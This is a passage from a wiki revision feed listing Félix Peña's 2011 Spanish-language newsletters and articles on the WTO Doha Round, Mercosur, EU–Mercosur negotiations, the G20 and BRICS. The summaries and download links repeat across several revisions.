[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-06-24-deficiencias-mercosur-reglas-precarias Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Una negociación birregional sin oxígeno político===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 12 abril de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-11-mercosur-ue-sin-oxigeno-politico Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
Revista Veintitrés Internacional, N° 63, Marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Tiempo de explorar lecciones===&lt;br /&gt;
&lt;br /&gt;
Diario La Nación, 29 de marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-29-tiempo-de-explorar-lecciones Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Condiciones para la eficacia en la inserción comercial internacional de la Argentina===&lt;br /&gt;
&lt;br /&gt;
Revista de Economía y Comercio Internacional, 17 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/contenido/wpapers/documentos/2011-03-17-condiciones-eficacia-insercion-comercial-internacional-argentina.pdf Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2030</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2030"/>
		<updated>2011-08-29T23:15:09Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* ARTÍCULOS Y NOTAS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL SISTEMA GATT-OMC EN UN MUNDO DISTINTO AL QUE LE DIO ORIGEN ¿Puede esperarse un impulso renovador de la Conferencia Ministerial de Ginebra?===&lt;br /&gt;
&lt;br /&gt;
Agosto 2011&lt;br /&gt;
&lt;br /&gt;
La necesidad de profundizar un debate sobre el futuro de la OMC no podría estar ausente de la Conferencia Ministerial de Ginebra en diciembre próximo. Es una ocasión sin igual para dar un impulso renovador a un sistema que tiende a mostrar algunos signos de obsolescencia, tanto en sus agendas como en sus métodos de trabajos. Hay, sin embargo, cierto escepticismo sobre sus posibles resultados. &lt;br /&gt;
&lt;br /&gt;
De una forma u otra, la Ronda Doha estará presente en esta Ministerial. Sea por la posibilidad -que ahora se percibe como remota- de avanzar algunos resultados favorables para los países menos desarrollados. O de enviar señales creíbles sobre su futuro. O por la necesidad de abordar de frente el espectro de una OMC con fuertes riesgos de perder eficacia, relevancia y, finalmente, legitimidad. &lt;br /&gt;
&lt;br /&gt;
Al menos tres preguntas parecen relevantes para el necesario debate sobre el futuro de la OMC. Ellas son: ¿cómo sería posible evitar el colapso definitivo de la Rueda Doha, aunque sea concluyéndola en una versión menos ambiciosa que la prevista originalmente? Si ello no fuera factible ¿cómo podría preservarse a la OMC del eventual impacto negativo que tal colapso tendría sobre su eficacia, credibilidad y relevancia? Y aún en caso de que la Rueda Doha fuera rescatable ¿cómo se podría concentrar energía política e imaginación técnica en el diseño de una nueva etapa de la OMC, que permita capitalizar las experiencias acumuladas, fortalecer sus funciones esenciales, e innovar en su agenda de cuestiones prioritarias, sus métodos de trabajo y sus modalidades negociadoras?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tanto la próxima Cumbre del G20 en Cannes como la Ministerial de la OMC en Ginebra, abren una oportunidad para que regiones organizadas asuman un protagonismo activo en la redefinición de la arquitectura del sistema comercial internacional. En ambas oportunidades, Argentina y Brasil podrían incidir con propuestas en el rescate de la Rueda Doha y en el diseño de la nueva etapa de la OMC. Lo razonable es esperar que coordinen sus posiciones y que, en lo posible, también reflejen los puntos de vista del Mercosur y de la región sudamericana.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-08-sistema-gatt-omc-en-un-mundo-distinto-de-su-origen Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL MERCOSUR EN UN MUNDO DE GRANDES ESPACIOS ECONÓMICOS: Ejes temáticos instalados por el Presidente Mujica, útiles para navegar el futuro===&lt;br /&gt;
&lt;br /&gt;
Julio 2011&lt;br /&gt;
&lt;br /&gt;
¿Podrá ser el Mercosur percibido en el futuro como un espacio económico regional que se exprese con una sola voz -al menos en cuestiones relevantes de la agenda económica internacional, incluyendo las negociaciones comerciales internacionales? ¿Podrá incluso reflejar los intereses de un espacio regional sudamericano más amplio, de concretarse la anunciada incorporación como miembros plenos de países como Bolivia, Ecuador, eventualmente Colombia, además de consumarse la aún pendiente de Venezuela?&lt;br /&gt;
&lt;br /&gt;
Son algunos de los interrogantes que se pueden formular dado el hecho que el espacio regional sudamericano reúne condiciones de una significativa dimensión económica y de una suficiente masa crítica de poder -al menos potencial-, y que dos países de esta región geográfica -Argentina y Brasil- participan hoy del G20, el que aspira a ser un núcleo institucional relevante en la construcción de una nueva arquitectura económica mundial. Pero sobre todo, dado el hecho que aquello que condujo al momento fundacional, fue precisamente la idea estratégica de crear, a través de pasos incrementales, un espacio económico común abierto a la participación de otros países sudamericanos.&lt;br /&gt;
&lt;br /&gt;
Las Cumbres Presidenciales semestrales del Mercosur, brindan una oportunidad para introducir nuevas energías y orientaciones a la construcción del espacio regional de alcance sudamericano. Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur.&lt;br /&gt;
&lt;br /&gt;
Lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas al asumir la presidencia pro-tempore en la reciente Cumbre de Asunción, permite avanzar una visión sobre algunos ejes temáticos en los que se concentraría el ejercicio de su función temporal de este semestre. En nuestra interpretación, tales ejes se refieren a la necesidad de un planteamiento estratégico hacia el futuro acorde con las nuevas realidades mundiales, a una mayor eficacia de las instituciones, y al desarrollo del concepto de &amp;quot;democracia digital&amp;quot;, quizás el salto hacia un Mercosur 2.0 con nuevas formas de participación ciudadana.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-07-mercosur-mundo-grandes-espacios-economicos Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===PRESERVAR LO ESENCIAL, FLEXIBILIZAR LO METODOLÓGICO: La adaptación de la OMC, la UE y el Mercosur a nuevas realidades internacionales===&lt;br /&gt;
&lt;br /&gt;
Junio 2011&lt;br /&gt;
&lt;br /&gt;
Se observan signos de stress en algunos de los principales ámbitos institucionalizados de cooperación entre naciones, tanto en el plano global como en el de los distintos espacios geográficos regionales. Recientemente se han puesto en evidencia, por ejemplo, en las notorias dificultades para avanzar en las negociaciones de la Rueda Doha en la OMC; en la creciente inquietud sobre el futuro del euro y sobre cómo continuar con la construcción de la propia UE, y en las controversias comerciales que han actualizado el debate sobre el alcance real de la unión aduanera y sobre la integración automotriz en el Mercosur.&lt;br /&gt;
&lt;br /&gt;
Son signos de stress que parecen resultar de una gradual ampliación de la brecha, entre la realidad internacional en la que se generaron los respectivos ámbitos de cooperación, incluyendo sus actuales objetivos y modalidades operativas y la que se está poniendo en evidencia en los últimos tiempos. En casi dos décadas han cambiado profundamente las condiciones políticas y económicas en las que interactúan las naciones a escala global y en las distintas regiones.&lt;br /&gt;
&lt;br /&gt;
En cada uno de los tres casos los signos de fatiga son más evidentes en el plano de la dimensión metodológica del trabajo conjunto. Se manifiesta en relación a la eficacia de mecanismos y reglas, y en las dificultades para obtener los resultados procurados o, en su lugar, para adoptar decisiones que permitan su adaptación a las nuevas realidades que se confrontan. El riesgo sin embargo es que, con el tiempo, las pérdidas de eficacia terminen impactando en la legitimidad del respectivo ámbito de cooperación multinacional, y que comience a ser percibido por sus países miembros -o por algunos de ellos- como irrelevante o como perjudicial para sus respectivos intereses nacionales. En tal caso, las dificultades serían más graves ya que se referirían a la dimensión existencial del trabajo conjunto, es decir, a la propia razón de ser del emprendimiento cooperativo entre las naciones asociadas.&lt;br /&gt;
&lt;br /&gt;
Superar semejante cuadro de situación requerirá de liderazgo político colectivo entre los principales protagonistas, dirigido a limitar los efectos de la crisis de eficacia, evitando que ellos pasen del plano metodológico al existencial. Para preservar lo esencial, se requerirá flexibilizar lo metodológico.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-06-adaptacion-omc-ue-mercosur Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===EL VALOR DE UNA REGIÓN: Sudamérica en la competencia económica global del futuro===&lt;br /&gt;
&lt;br /&gt;
Mayo 2011&lt;br /&gt;
&lt;br /&gt;
Por lo menos son tres las razones que permiten tener una cautelosa visión optimista sobre el futuro de América Latina. Ellas son: el aprendizaje experimentado en las últimas décadas; las señales claras de un cambio cultural con respecto a lo que se puede lograr en el futuro, y los impactos de las profundas transformaciones que se están operando en el escenario global. Sin embargo, no hay que subestimar las enormes dificultades y desafíos que los países de la región tendrán que superar en los próximos años. De allí la conveniencia de ser prudentes. Se sabe que en un mundo de continuos cambios sistémicos, todo ejercicio prospectivo constituye un juego peligroso. &lt;br /&gt;
&lt;br /&gt;
América Latina es una región heterogénea. Los factores que explican pronósticos optimistas sobre su futuro no tienen similar validez en todos sus países. Pero son visibles en países que son claves por su dimensión y relevancia económica. Y son países con un fuerte potencial para derramar sus eventuales éxitos hacia el resto de la región. Uno de esos países es Brasil.&lt;br /&gt;
&lt;br /&gt;
El valor creciente de la región puede ser ilustrado con la visita que en el mes de marzo pasado el Presidente Obama efectuara a Brasil, Chile y El Salvador. Estuvieron presentes algunas cuestiones que son centrales en la agenda estratégica futura de los Estados Unidos.&lt;br /&gt;
&lt;br /&gt;
Pero si los pronósticos más optimistas sobre la región se fueran confirmando en los próximos años, para potenciar su valor se requerirá avanzar en la articulación de los intereses nacionales de sus países. Es una articulación que sólo puede tornarse viable a través de liderazgos colectivos. La calidad y densidad de la relación de la Argentina con todos los países de la región puede resultar a tal efecto un factor esencial. La alianza estratégica con el Brasil y el propio Mercosur son, al respecto, núcleos duros de la construcción de un espacio geográfico sudamericano en el que la UNASUR está llamada a desempeñar un papel central.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-05-sudamerica-competencia-economica-global-del-futuro Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ue Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===Una oportunidad para impulsar iniciativas viables===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 21 de julio de 2011&lt;br /&gt;
&lt;br /&gt;
Renovar el impulso político, simbolizar el valor estratégico del proyecto común, y brindar el espacio para diálogos francos al más alto nivel, son aportes que se esperan del sistema de Cumbres Presidenciales del Mercosur. En cierta forma son su razón de ser.&lt;br /&gt;
&lt;br /&gt;
Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur. En este segundo semestre del año, es al Presidente del Uruguay a quien le toca entonces la oportunidad de plantear iniciativas que aspiren a lograr el consenso de los otros socios y luego, a penetrar en la realidad.&lt;br /&gt;
&lt;br /&gt;
Pueden ser iniciativas vinculadas a la agenda prioritaria que en este momento tiene el Mercosur (como son, entre otras, las del perfeccionamiento de la unión aduanera, el tratamiento de las asimetrías, la integración productiva, las compras públicas y las negociaciones comerciales externas). O pueden ser iniciativas dirigidas a introducir enfoques e ideas orientados a renovar el proceso de integración, adaptándolo a nuevas realidades globales y regionales.&lt;br /&gt;
En la reciente Cumbre de Asunción, lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas, permite sugerir una visión sobre algunas cuestiones en las que se concentraría el ejercicio de su función temporal de este semestre.&lt;br /&gt;
&lt;br /&gt;
En nuestra interpretación de lo que ha señalizado, es posible destacar tres ejes temáticos que tienen una relevancia especial. No son los únicos, pero sí los que parecen tener una trascendencia mayor.&lt;br /&gt;
&lt;br /&gt;
El primero se refiere a la necesidad de interpretar “la época que nos toca vivir y hacia donde vamos”. Implica un diagnóstico compartido sobre oportunidades y desafíos que plantean a nuestros países algunas tendencias que se están poniendo en evidencia en el escenario internacional. Energía y alimentos, creatividad e innovación, y masa crítica de consumo y producción, son algunos conceptos centrales que parecen nutrir una agenda estratégica conjunta de los países del Mercosur, en un mundo con fuertes desplazamientos del poder económico relativo y de la capacidad para competir a escala global.&lt;br /&gt;
&lt;br /&gt;
El segundo es el institucional. Tiene múltiples desdoblamientos posibles, entre otros los orientados a dotar a los métodos de trabajo de una mayor racionalidad y eficacia. Pero un aspecto prioritario para la inserción en el entorno global, sería poder avanzar en la capacidad de los socios para tener una sola voz en cuestiones relevantes de la agenda externa del Mercosur: ¿quién y por qué puede decir que habla por todos los socios?&lt;br /&gt;
&lt;br /&gt;
Y el tercer eje, quizás el más provocativo, se refiere a la idea de avanzar en modalidades de “democracia digital”. Propuestas orientadas a un Mercosur 2.0, con fuerte énfasis en la transparencia y en el acceso efectivo a toda la información relevante para los ciudadanos, pueden contribuir a acrecentar la credibilidad y legitimidad social del proceso de integración.&lt;br /&gt;
&lt;br /&gt;
===Las agendas de un Mercosur que procura actualizarse===&lt;br /&gt;
&lt;br /&gt;
Revista Veintitres Internacional, Julio 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-07-agendas-de-un-mercosur-que-procura-actualizarse Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Impulso político e imaginación técnica===&lt;br /&gt;
&lt;br /&gt;
Diario El Argentino, 31 de Julio 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-07-31-impulso-politico-e-imaginacion-tecnica Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Las deficiencias de un Mercosur con reclas precarias===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 24 de junio de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-06-24-deficiencias-mercosur-reglas-precarias Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Una negociación birregional sin oxígeno político===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 12 abril de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-11-mercosur-ue-sin-oxigeno-politico Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
Revista Veintitrés Internacional, N° 63, Marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Tiempo de explorar lecciones===&lt;br /&gt;
&lt;br /&gt;
Diario La Nación, 29 de marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-29-tiempo-de-explorar-lecciones Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Condiciones para la eficacia en la inserción comercial internacional de la Argentina===&lt;br /&gt;
&lt;br /&gt;
Revista de Economía y Comercio Internacional, 17 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/contenido/wpapers/documentos/2011-03-17-condiciones-eficacia-insercion-comercial-internacional-argentina.pdf Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2029</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2029"/>
		<updated>2011-08-29T23:12:33Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* ARTÍCULOS Y NOTAS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL SISTEMA GATT-OMC EN UN MUNDO DISTINTO AL QUE LE DIO ORIGEN ¿Puede esperarse un impulso renovador de la Conferencia Ministerial de Ginebra?===&lt;br /&gt;
&lt;br /&gt;
Agosto 2011&lt;br /&gt;
&lt;br /&gt;
La necesidad de profundizar un debate sobre el futuro de la OMC no podría estar ausente de la Conferencia Ministerial de Ginebra en diciembre próximo. Es una ocasión sin igual para dar un impulso renovador a un sistema que tiende a mostrar algunos signos de obsolescencia, tanto en sus agendas como en sus métodos de trabajos. Hay, sin embargo, cierto escepticismo sobre sus posibles resultados. &lt;br /&gt;
&lt;br /&gt;
De una forma u otra, la Ronda Doha estará presente en esta Ministerial. Sea por la posibilidad -que ahora se percibe como remota- de avanzar algunos resultados favorables para los países menos desarrollados. O de enviar señales creíbles sobre su futuro. O por la necesidad de abordar de frente el espectro de una OMC con fuertes riesgos de perder eficacia, relevancia y, finalmente, legitimidad. &lt;br /&gt;
&lt;br /&gt;
Al menos tres preguntas parecen relevantes para el necesario debate sobre el futuro de la OMC. Ellas son: ¿cómo sería posible evitar el colapso definitivo de la Rueda Doha, aunque sea concluyéndola en una versión menos ambiciosa que la prevista originalmente? Si ello no fuera factible ¿cómo podría preservarse a la OMC del eventual impacto negativo que tal colapso tendría sobre su eficacia, credibilidad y relevancia? Y aún en caso de que la Rueda Doha fuera rescatable ¿cómo se podría concentrar energía política e imaginación técnica en el diseño de una nueva etapa de la OMC, que permita capitalizar las experiencias acumuladas, fortalecer sus funciones esenciales, e innovar en su agenda de cuestiones prioritarias, sus métodos de trabajo y sus modalidades negociadoras?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tanto la próxima Cumbre del G20 en Cannes como la Ministerial de la OMC en Ginebra, abren una oportunidad para que regiones organizadas asuman un protagonismo activo en la redefinición de la arquitectura del sistema comercial internacional. En ambas oportunidades, Argentina y Brasil podrían incidir con propuestas en el rescate de la Rueda Doha y en el diseño de la nueva etapa de la OMC. Lo razonable es esperar que coordinen sus posiciones y que, en lo posible, también reflejen los puntos de vista del Mercosur y de la región sudamericana.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-08-sistema-gatt-omc-en-un-mundo-distinto-de-su-origen Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
